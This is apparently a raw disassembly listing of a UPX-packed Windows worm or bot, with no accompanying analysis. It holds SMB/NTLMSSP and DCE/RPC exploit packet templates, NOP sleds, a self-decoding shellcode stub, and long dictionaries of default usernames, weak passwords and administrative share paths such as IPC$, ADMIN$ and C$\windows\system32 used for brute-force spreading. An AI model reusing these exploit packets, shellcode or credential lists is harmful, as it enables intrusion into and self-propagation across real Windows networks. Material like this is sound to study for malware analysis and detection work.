dword_41B088	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_410B52+E2o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_41B168	dd 3A000000h, 424D53FFh, 75h, 20011800h, 3 dup(0)
					; DATA XREF: sub_410B52+13Co
		dd 0AB80000h, 46300800h, 0FF04h, 1000000h, 0F00h, 495C5C5Ch
		dd 244350h, 3F3F3F3Fh, 3Fh
dword_41B1A8	dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0)
					; DATA XREF: sub_410B52+179o
		dd 4DC0800h, 400800h, 0DE00FF18h, 800DEh, 16h, 0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 5C000903h, 574F5242h, 524553h,	0
dword_41B20C	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_410B52+1B9o
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh
		dd 3, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_41B2B0	dd 66030000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
					; DATA XREF: sub_410B52+216o
		dd 3900800h, 3C1D0800h,	1C000010h, 0E0040003h, 0FFh, 2 dup(0)
		dd 1C004A00h, 2004A03h,	2600h, 5C032340h, 45504950h, 5005Ch
		dd 100300h, 31C0000h, 0
		dd 3040000h, 0
		dd 4221001Fh, 184E8h, 0
		dd 10000h, 0
		dd 1630000h, 0
		dd 1630000h, 0
dword_41B338	dd 0				dd 0D7h, 1, 0
		dd 1, 0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		align 4
		dd 2 dup(0)
dword_41B35C	dd 0CA040000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
					; DATA XREF: sub_410B52+348o
		dd 1C80800h, 7CC90800h,	80000010h, 0E0040004h, 0FFh, 2 dup(0)
		dd 80004A00h, 2004A04h,	2600h, 5C048740h, 45504950h, 5005Ch
		dd 100300h, 4800000h, 0
		dd 4680000h, 0
		dd 72B3001Fh, 1A381h, 0
		dd 10000h, 0
		dd 2150000h, 0
		dd 2150000h, 0
dword_41B3E4	dd 0				dd 85h,	2, 0
		dd 2, 2EBh, 85h, 2 dup(0)
dword_41B408	dd 20804h, 0						; sub_410B52+29Bo ...
dword_41B410	dd 2080Ah, 0			dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
		dd 0FEFF0000h, 0
		dd 2006200h, 4E204350h,	4F575445h, 50204B52h, 52474F52h
		dd 31204D41h, 200302Eh,	4D4E414Ch, 2E314E41h, 57020030h
		dd 6F646E69h, 66207377h, 5720726Fh, 676B726Fh, 70756F72h
		dd 2E332073h, 2006131h,	2E314D4Ch, 30305832h, 4C020032h
		dd 414D4E41h, 312E324Eh, 544E0200h, 204D4C20h, 32312E30h
		dd 0
		dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows20002_1:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_2:
		unicode	0, <Windows 2000 5.0>,0
		align 4
		dd 0
		dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 41ED0000h, 2686272Ch
		dd 0B3A059D2h, 8800AA5Eh, 57C56Fh, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
		dd 5A000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
		dd 0FEFF0000h, 300800h,	5A00FF04h, 1000800h, 2F00h, 0
		dd 3F3F0000h, 3F3F3Fh, 0
		dd 66000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
		dd 4780800h, 400800h, 0DE00FF18h, 1000DEh, 16h,	0
		dd 2019Fh, 4 dup(0)
		dd 1, 40h, 2, 1303h, 62005Ch, 6F0072h, 730077h,	720065h
		dd 0
		dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
		dd 4780800h, 500800h, 48000010h, 0
		dd 10h,	2 dup(0)
		dd 48005400h, 2005400h,	2600h, 5940h, 50005Ch, 500049h
		dd 5C0045h, 400000h, 30B0005h, 10h, 48h, 1, 10B810B8h
		dd 0
		dd 1, 10000h, 8D9F4E40h, 11CEA03Dh, 8698Fh, 1B05303Eh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
		dd 90080000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
		dd 4780800h, 600800h, 3C000010h, 8, 1, 2 dup(0)
		dd 3C005400h, 2005408h,	2600h, 84D40h, 50005Ch,	500049h
		dd 5C0045h, 400000h, 3000005h, 10h, 83Ch, 1, 824h, 360000h
		dd 11h,	0
		dd 11h,	4F0052h, 54004Fh, 53005Ch, 530059h, 450054h, 5C004Dh
		dd 2 dup(300030h), 0
		dd 0FFFFh, 7E0h, 2 dup(0)
		dd 7C0h, 0
		align 10h
		jmp	short loc_41B84A
; ---------------------------------------------------------------------------
		align 4
		dd 767A1567h
; ---------------------------------------------------------------------------
		jmp	short loc_41B852
; ---------------------------------------------------------------------------


loc_41B84A:				; CODE XREF: UPX1:0041B840j
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah


loc_41B852:				; CODE XREF: UPX1:0041B848j
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 9090767Ah
		nop
		nop
		nop
		nop
		nop
		jmp	short loc_41B8A1
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 48h
		dd 9088444Fh
		db 90h
; ---------------------------------------------------------------------------


loc_41B8A1:				; CODE XREF: UPX1:0041B897j
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
; ---------------------------------------------------------------------------
		dd 0
		dd 90080000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
		dd 4780800h, 600800h, 3C000010h, 8, 1, 2 dup(0)
		dd 3C005400h, 2005408h,	2600h, 84D40h, 50005Ch,	500049h
		dd 5C0045h, 400000h, 3000005h, 10h, 83Ch, 1, 824h, 360000h
		dd 11h,	0
		dd 11h,	4F0052h, 54004Fh, 53005Ch, 530059h, 450054h, 5C004Dh
		dd 2 dup(300030h), 0
		dd 0FFFFh, 7E0h, 2 dup(0)
		dd 7C0h, 0
		db 8 dup(90h)
; ---------------------------------------------------------------------------
		jmp	short loc_41B97E
; ---------------------------------------------------------------------------
		align 4
		dd 767A1567h
; ---------------------------------------------------------------------------
		jmp	short loc_41B986
; ---------------------------------------------------------------------------


loc_41B97E:				; CODE XREF: UPX1:0041B974j
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah


loc_41B986:				; CODE XREF: UPX1:0041B97Cj
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		jns	short near ptr word_41B9F6
		add	[ecx], eax
		jmp	short loc_41B9C6
; ---------------------------------------------------------------------------
		align 10h
		dd 767A1567h
		db 2 dup(90h)
; ---------------------------------------------------------------------------


loc_41B9C6:				; CODE XREF: UPX1:0041B9BCj
		nop
		nop
		nop
		nop
		nop
		jmp	short loc_41B9D5
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 48h
		dd 9088444Fh
		db 90h
; ---------------------------------------------------------------------------


loc_41B9D5:				; CODE XREF: UPX1:0041B9CBj
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
; ---------------------------------------------------------------------------
		dd 0
		dd 7E0h, 4, 0
		db 2 dup(0)
word_41B9F6	dw 0			; CODE XREF: UPX1:0041B9B8j
		dd 0D0EC8166h, 7, 129F74h, 0
		dd 127D78h, 0
; ---------------------------------------------------------------------------
		pusha
		jmp	short loc_41BA16

; =============== S U B	R O U T	I N E =======================================



sub_41BA13	proc near		; CODE XREF: UPX1:loc_41BA16p
		pop	ebx
		push	ebx
		retn
sub_41BA13	endp

; ---------------------------------------------------------------------------


loc_41BA16:				; CODE XREF: UPX1:0041BA11j
		call	sub_41BA13
		xor	eax, eax
		add	al, 34h
		add	eax, ebx
		push	eax
		pop	ebx


loc_41BA23:				; CODE XREF: UPX1:0041BA4Cj
		xor	edx, edx
		add	dl, [eax]
		inc	eax
		add	dh, [eax]
		inc	eax
		push	eax
		xor	eax, eax
		add	al, 41h
		sub	dl, al
		sub	dh, al
		shl	dl, 4
		shr	dx, 4
		xor	eax, eax
		xor	dh, dh
		add	al, [ebx]
		sub	[ebx], al
		add	[ebx], dx
		inc	ebx
		pop	eax
		xor	ecx, ecx
		add	cl, [eax]
		loopne	loc_41BA23
		popa
		add	[ebx+31h], al
		mov	ebp, 7FC77h
		add	[ecx], al
		inc	ebx


loc_41BA5A:				; CODE XREF: UPX1:0041BA5Cj
		xor	eax, eax
		ja	short loc_41BA5A
		pop	es
; ---------------------------------------------------------------------------
		db 0
		dd 4F020100h, 7E7655Bh,	0
		dd 195h, 30B0005h, 10h,	48h, 1,	16D016D0h, 0
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
		dd 3000005h, 10h, 18h, 1, 3 dup(0)
; ---------------------------------------------------------------------------
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
		dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
byte_41BB00	db 90h			; DATA XREF: sub_410F60+35r
					; sub_410F60+73r ...
dword_41BB01	dd 0				db 9Eh,	2 dup(0)
		dd 0F50000h, 0F8000000h, 0
		dd 0F9h, 0FC00h, 1270000h, 2F000000h, 1, 137h, 13F00h
		dd 1400000h, 41000000h,	4, 842h, 24300h, 40450000h, 46000000h
		dd 10h,	2047h, 14800h, 4490000h, 4A000000h, 8, 24Bh, 404D00h
		dd 104E0000h, 4F000000h, 20h, 198h, 19F00h, 5910000h, 92000000h
		dd 9, 393h, 419500h, 11960000h,	97000000h, 21h,	999h, 0
		dd offset aAdministrator ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aAdm		; "adm"
		dd offset aComputer	; "computer"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aSystem	; "system"
		dd offset aServer_0	; "server"
		dd offset aRoot		; "root"
		dd offset aWeb		; "web"
		dd offset aWww		; "www"
		dd offset aInternet	; "internet"
		dd offset aHome		; "home"
		dd offset aHomeuser	; "homeuser"
		dd offset aUser		; "user"
		dd offset aOemuser	; "oemuser"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aBob		; "bob"
		dd offset aJen		; "jen"
		dd offset aJoe		; "joe"
		dd offset aFred		; "fred"
		dd offset aBill		; "bill"
		dd offset aMike		; "mike"
		dd offset aJohn		; "john"
		dd offset aPeter	; "peter"
		dd offset aLuke		; "luke"
		dd offset aSam		; "sam"
		dd offset aSue		; "sue"
; ---------------------------------------------------------------------------
		clc
		retn
; ---------------------------------------------------------------------------
		dw 41h
; ---------------------------------------------------------------------------
		adc	ah, al
		inc	ecx
		add	al, dh
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	ah, ch
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	ah, ah
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, ah
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, bl
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, dl
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, cl
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, al
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax-4FFFBE3Dh], bh
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax-3Ch], al
		inc	ecx
		add	[eax-5FFFBE3Dh], ch
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[ebx+eax*8-3C73FFBFh], dl
		inc	ecx
		add	[eax-7FFFBE3Dh], cl
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[ebx+eax*8+41h], dh
		add	[ebx+eax*8+41h], ch
		add	[ebx+eax*8+41h], ah
		add	[eax-3Dh], ah
		inc	ecx
		add	[ebx+eax*8+41h], bl
		add	[ebx+eax*8+41h], dl
		add	[eax-3Dh], dl
		inc	ecx
		add	[eax-3Dh], cl
		inc	ecx
		add	[eax-3Dh], al
		inc	ecx
		add	[eax], bh
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax], dh
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax], ch
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax], ah
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax], bl
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[ebx+eax*8], dl
		inc	ecx
		add	[esp+eax*8+41h], dh
		add	[eax], cl
		retn
; ---------------------------------------------------------------------------
		dw 41h
		dd offset aStudent	; "student"
; ---------------------------------------------------------------------------
		clc
		retn	41h
; ---------------------------------------------------------------------------
		dd offset aTeacher	; "teacher"
		dd offset aStaff	; "staff"
		dd 0
		dd offset aC		; "c$"
		dd offset aD		; "d$"
; ---------------------------------------------------------------------------
		fadd	st(2), st
		inc	ecx
		add	al, dl
		retn	41h
; ---------------------------------------------------------------------------
		dd offset aDShared	; "d$\\shared"
; ---------------------------------------------------------------------------
		mov	eax, 0AC0041C2h
		retn	41h
; ---------------------------------------------------------------------------
		mov	al, ds:8C0041C2h
		retn	41h
; ---------------------------------------------------------------------------
		dd offset aCWindowsSystem ; "c$\\windows\\system32"
; ---------------------------------------------------------------------------
		push	600041C2h
		retn	41h
; ---------------------------------------------------------------------------
		xor	dl, al
		inc	ecx
		add	[eax], ch
		retn	41h
; ---------------------------------------------------------------------------
		dd offset aIpc		; "IPC$"
		dd 0
		dd offset byte_41DF00
		dd offset aAdministrator ; "administrator"
		dd offset aAdministrador ; "administrador"
; ---------------------------------------------------------------------------
		aam	0C4h
		inc	ecx
		add	al, cl
		les	eax, [ecx+0]
		rol	ah, 41h
		add	[eax-4BFFBE3Ch], bh
		les	eax, [ecx+0]
		sbb	al, 0C2h
		inc	ecx
		add	[eax], bl
		retn	41h
; ---------------------------------------------------------------------------
		adc	al, 0C2h
		inc	ecx
		add	[eax], cl
		retn	41h
; ---------------------------------------------------------------------------
		cld
		rol	dword ptr [ecx+0], 0F4h
		rol	dword ptr [ecx+0], 0F0h
		rol	dword ptr [ecx+0], 0E4h
		rol	dword ptr [ecx+0], 0DCh
		rol	dword ptr [ecx+0], 0D8h
		rol	dword ptr [ecx+0], 0D4h
		rol	dword ptr [ecx+0], 0D0h
		rol	dword ptr [ecx+0], 0CCh
		rol	dword ptr [ecx+0], 0C8h
		rol	dword ptr [ecx+0], 0C0h
		rol	dword ptr [ecx+0], 0B8h
		rol	dword ptr [ecx+0], 0B0h
		rol	dword ptr [ecx+0], 0A8h
		rol	dword ptr [ecx+0], 9Ch
		rol	dword ptr [ecx+0], 90h
		rol	dword ptr [ecx+0], 84h
		rol	dword ptr [ecx+0], 7Ch
		rol	dword ptr [ecx+0], 70h
		rol	dword ptr [ecx+0], 68h
		rol	dword ptr [ecx+0], 60h
		rol	dword ptr [ecx+0], 50h
		xchg	eax, edx
		inc	ecx
		add	[eax-3Fh], bl
		inc	ecx
		add	[eax+44004198h], dl
		xchg	eax, edx
		inc	ecx
		add	[eax-3Fh], dl
		inc	ecx
		add	[eax-3Fh], cl
		inc	ecx
		add	[eax-3Fh], al
		inc	ecx
		add	al, dl
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, cl
		retn
; ---------------------------------------------------------------------------
		dw 41h
		dd offset aDemo		; "demo"
		dd offset aComputer	; "computer"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aDefault	; "default"
		dd offset aSystem	; "system"
		dd offset aServer_0	; "server"
		dd offset aRoot		; "root"
		dd offset aNull		; "null"
		dd offset aTemp		; "temp"
		dd offset aTemp123	; "temp123"
		dd offset aQwerty	; "qwerty"
		dd offset aMail		; "mail"
		dd offset aOutlook	; "outlook"
		dd offset aWeb		; "web"
		dd offset aWww		; "www"
		dd offset aInternet	; "internet"
		dd offset aSex		; "sex"
		dd offset aLetmein	; "letmein"
		dd offset aAccounts	; "accounts"
		dd offset aAccounting	; "accounting"
		dd offset aHome		; "home"
		dd offset aHomeuser	; "homeuser"
		dd offset aUser		; "user"
		dd offset aOem		; "oem"
		dd offset aOemuser	; "oemuser"
		dd offset aOeminstall	; "oeminstall"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aWindows	; "windows"
		dd offset aWin98	; "win98"
		dd offset aWin2k	; "win2k"
		dd offset aWinxp	; "winxp"
		dd offset aWinnt	; "winnt"
		dd offset aWin2000	; "win2000"
		dd offset aQaz		; "qaz"
		dd offset aAsd		; "asd"
		dd offset aZxc		; "zxc"
		dd offset aQwe		; "qwe"
		dd offset aBob		; "bob"
		dd offset aJen		; "jen"
		dd offset aJoe		; "joe"
		dd offset aFred		; "fred"
		dd offset aBill		; "bill"
		dd offset aMike		; "mike"
		dd offset aJohn		; "john"
		dd offset aPeter	; "peter"
		dd offset aLuke		; "luke"
		dd offset aSam		; "sam"
		dd offset aSue		; "sue"
; ---------------------------------------------------------------------------
		clc
		retn
; ---------------------------------------------------------------------------
		dw 41h
; ---------------------------------------------------------------------------
		adc	ah, al
		inc	ecx
		add	al, dh
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	ah, ch
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	ah, ah
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, ah
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, bl
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, al
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax-4FFFBE3Dh], bh
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax-3Ch], al
		inc	ecx
		add	[eax-5FFFBE3Dh], ch
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax-40h], bh
		inc	ecx
		add	[eax+eax*8+41h], ch
		add	[ebx+eax*8-3C73FFBFh], dl
		inc	ecx
		add	[eax-40h], ah
		inc	ecx
		add	[eax-40h], bl
		inc	ecx
		add	[eax-40h], dl
		inc	ecx
		add	[eax-40h], cl
		inc	ecx
		add	al, dh
		rol	byte ptr [ecx+0], 88h
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax-40h], al
		inc	ecx
		add	[eax], bh
		rol	byte ptr [ecx+0], 30h
		rol	byte ptr [ecx+0], 28h
		rol	byte ptr [ecx+0], 80h
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax+eax*8], bl
		inc	ecx
		add	[eax+eax*8], cl
		inc	ecx
		add	[ebx+eax*8+41h], dh
		add	[ebx+eax*8+41h], ch
		add	[eax+eax*8], al
		inc	ecx
		add	al, bh
		mov	edi, 0BFE80041h
		inc	ecx
		add	[ebx+eax*8+41h], ah
		add	ah, dl
		mov	edi, 0BFD00041h
		inc	ecx
		add	ah, cl
		mov	edi, 0BFC40041h
		inc	ecx
		add	[eax-3Dh], ah
		inc	ecx
		add	[ebx+eax*8+41h], bl
		add	[eax-5BFFBE41h], dh
		mov	edi, 0C3540041h
		inc	ecx
		add	[eax-3Dh], dl
		inc	ecx
		add	[eax-3Dh], cl
		inc	ecx
		add	[eax-3Dh], al
		inc	ecx
		add	[eax], bh
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax], dh
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax-67FFBE41h], ah
		mov	edi, 0BF940041h
		inc	ecx
		add	[eax], ch
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax], ah
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[edi+edi*4-407BFFBFh], cl
		inc	ecx
		add	[eax], bl
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[ebx+eax*8], dl
		inc	ecx
		add	[esp+eax*8+41h], dh
		add	[eax], cl
		retn
; ---------------------------------------------------------------------------
		dw 41h
		dd offset aStudent	; "student"
; ---------------------------------------------------------------------------
		clc
		retn	41h
; ---------------------------------------------------------------------------
		dd offset aTeacher	; "teacher"
		dd offset aStaff	; "staff"
		dd 0
aWinpass	db 'winpass',0
aBlank		db 'blank',0
		align 4
aXp_0		db 'xp',0
		align 4
aNokia		db 'nokia',0
		align 10h
aHp		db 'hp',0
		align 4
aOrainstall	db 'orainstall',0
		align 10h
aSqlpassoainsta	db 'sqlpassoainstall',0
		align 4
aDb1234		db 'db1234',0
		align 4
aDb2		db 'db2',0
aDb1		db 'db1',0
aDatabasepasswo	db 'databasepassword',0
		align 4
aDatabasepass	db 'databasepass',0
		align 4
aDbpassword	db 'dbpassword',0
		align 4
aDbpass		db 'dbpass',0
		align 4
aDomainpassword	db 'domainpassword',0
		align 4
aDomainpass	db 'domainpass',0
		align 4
aHello		db 'hello',0
		align 10h
aHell		db 'hell',0
		align 4
aLove		db 'love',0
		align 10h
aMoney		db 'money',0
		align 4
aSlut		db 'slut',0
		align 10h
aBitch		db 'bitch',0
		align 4
aFuck		db 'fuck',0
		align 10h
aExchange	db 'exchange',0
		align 4
aLoginpass	db 'loginpass',0
		align 4
aLogin		db 'login',0
		align 10h
aQwe		db 'qwe',0              ; DATA XREF: UPX1:0041BE4Co
aZxc		db 'zxc',0              ; DATA XREF: UPX1:0041BE48o
aAsd		db 'asd',0              ; DATA XREF: UPX1:0041BE44o
aQaz		db 'qaz',0              ; DATA XREF: UPX1:0041BE40o
aWin2000	db 'win2000',0          ; DATA XREF: UPX1:0041BE3Co
aWinnt		db 'winnt',0            ; DATA XREF: UPX1:0041BE38o
		align 10h
aWinxp		db 'winxp',0            ; DATA XREF: UPX1:0041BE34o
		align 4
aWin2k		db 'win2k',0            ; DATA XREF: UPX1:0041BE30o
		align 10h
aWin98		db 'win98',0            ; DATA XREF: UPX1:0041BE2Co
		align 4
aWindows	db 'windows',0          ; DATA XREF: UPX1:0041BE28o
aOeminstall	db 'oeminstall',0       ; DATA XREF: UPX1:0041BE20o
		align 4
aOem		db 'oem',0              ; DATA XREF: UPX1:0041BE18o
aAccounting	db 'accounting',0       ; DATA XREF: UPX1:0041BE08o
		align 4
aAccounts	db 'accounts',0         ; DATA XREF: UPX1:0041BE04o
		align 4
aLetmein	db 'letmein',0          ; DATA XREF: UPX1:0041BE00o
aSex		db 'sex',0              ; DATA XREF: UPX1:0041BDFCo
aOutlook	db 'outlook',0          ; DATA XREF: UPX1:0041BDECo
aMail		db 'mail',0             ; DATA XREF: UPX1:0041BDE8o
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: UPX1:0041BDE4o
		align 4
aTemp123	db 'temp123',0          ; DATA XREF: UPX1:0041BDE0o
aTemp		db 'temp',0             ; DATA XREF: UPX1:0041BDDCo
		align 4
aNull		db 'null',0             ; DATA XREF: UPX1:0041BDD8o
		align 4
aDefault	db 'default',0          ; DATA XREF: UPX1:0041BDC8o
aChangeme	db 'changeme',0         ; DATA XREF: UPX1:0041BDC4o
		align 4
aDemo		db 'demo',0             ; DATA XREF: UPX1:0041BDB4o
		align 10h
aTest		db 'test',0
		align 4
a2005		db '2005',0
		align 10h
a2004		db '2004',0
		align 4
a2001		db '2001',0
		align 10h
aSecret		db 'secret',0
		align 4
aPayday		db 'payday',0
		align 10h
aDeadline	db 'deadline',0
		align 4
aWork		db 'work',0
		align 4
a1234567890	db '1234567890',0
		align 10h
a123456789	db '123456789',0
		align 4
a12345678	db '12345678',0
		align 4
a1234567	db '1234567',0
a123456		db '123456',0
		align 4
a12345		db '12345',0
		align 10h
a1234		db '1234',0
		align 4
a123		db '123',0
a12		db '12',0
		align 10h
a1:
		unicode	0, <1>,0
a007		db '007',0
aPwd		db 'pwd',0
aPass		db 'pass',0
		align 4
aPass1234	db 'pass1234',0
		align 10h
aDba		db 'dba',0
aPasswd		db 'passwd',0
		align 4
aPassword	db 'password',0         ; DATA XREF: UPX1:0041D840o
		align 4
aPassword1	db 'password1',0
		align 4
aAbc		db 'abc',0
aAb		db 'ab',0
		align 4
aA_0:
		unicode	0, <a>,0
aIpc		db 'IPC$',0             ; DATA XREF: UPX1:0041BD04o
		align 4
aPrint		db 'print$',0
		align 10h
aCDocumentsAndS	db 'C$\Documents and Settings\All Users\Documents\$',0
aAdmin_0	db 'admin$',0
		align 4
aAdminSystem32	db 'Admin$\system32',0
aCWindowsSystem	db 'c$\windows\system32',0 ; DATA XREF: UPX1:0041BCF0o
aCWinntSystem32	db 'c$\winnt\system32',0
		align 10h
aCWindows	db 'c$\windows',0
		align 4
aCWinnt		db 'c$\winnt',0
		align 4
aEShared	db 'e$\shared',0
		align 4
aDShared	db 'd$\shared',0        ; DATA XREF: UPX1:0041BCDCo
		align 10h
aCShared	db 'c$\shared',0
		align 4
aE		db 'e$',0
		align 10h
aD		db 'd$',0               ; DATA XREF: UPX1:0041BCD0o
		align 4
aC		db 'c$',0               ; DATA XREF: UPX1:0041BCCCo
		align 4
aStaff		db 'staff',0            ; DATA XREF: UPX1:0041BCC4o
					; UPX1:0041BF7Co
		align 10h
aTeacher	db 'teacher',0          ; DATA XREF: UPX1:0041BCC0o
					; UPX1:0041BF78o
aOwner		db 'owner',0
		align 10h
aStudent	db 'student',0          ; DATA XREF: UPX1:0041BCB8o
					; UPX1:0041BF70o
aIntranet	db 'intranet',0
		align 4
aLan_0		db 'lan',0
aMain		db 'main',0             ; DATA XREF: UPX0:00416ACAo
					; UPX0:00416AECo
		align 10h
aOffice		db 'office',0
		align 4
aControl	db 'control',0
aSiemens	db 'siemens',0
aCompaq		db 'compaq',0
		align 10h
aDell		db 'dell',0
		align 4
aCisco		db 'cisco',0
		align 10h
aIbm		db 'ibm',0
aOracle		db 'oracle',0
		align 4
aSql		db 'sql',0
aSa		db 'sa',0
		align 4
aData		db 'data',0
		align 4
aAccess		db 'access',0
		align 4
aDatabase	db 'database',0
		align 10h
aDomain		db 'domain',0
		align 4
aGod		db 'god',0
aBackup		db 'backup',0
		align 4
aTechnical	db 'technical',0
		align 10h
aMary		db 'mary',0
		align 4
aKatie		db 'katie',0
		align 10h
aKate		db 'kate',0
		align 4
aGeorge		db 'george',0
		align 10h
aEric		db 'eric',0
		align 4
aNone		db 'none',0
		align 10h
aGuest		db 'guest',0
		align 4
aChris		db 'chris',0
		align 10h
aIan		db 'ian',0
aNeil		db 'neil',0
		align 4
aLee		db 'lee',0
aBrian		db 'brian',0
		align 4
aSusan		db 'susan',0
		align 10h
aSue		db 'sue',0              ; DATA XREF: UPX1:0041BC24o
					; UPX1:0041BE78o
aSam		db 'sam',0              ; DATA XREF: UPX1:0041BC20o
					; UPX1:0041BE74o
aLuke		db 'luke',0             ; DATA XREF: UPX1:0041BC1Co
					; UPX1:0041BE70o
		align 10h
aPeter		db 'peter',0            ; DATA XREF: UPX1:0041BC18o
					; UPX1:0041BE6Co
		align 4
aJohn		db 'john',0             ; DATA XREF: UPX1:0041BC14o
					; UPX1:0041BE68o
		align 10h
aMike		db 'mike',0             ; DATA XREF: UPX1:0041BC10o
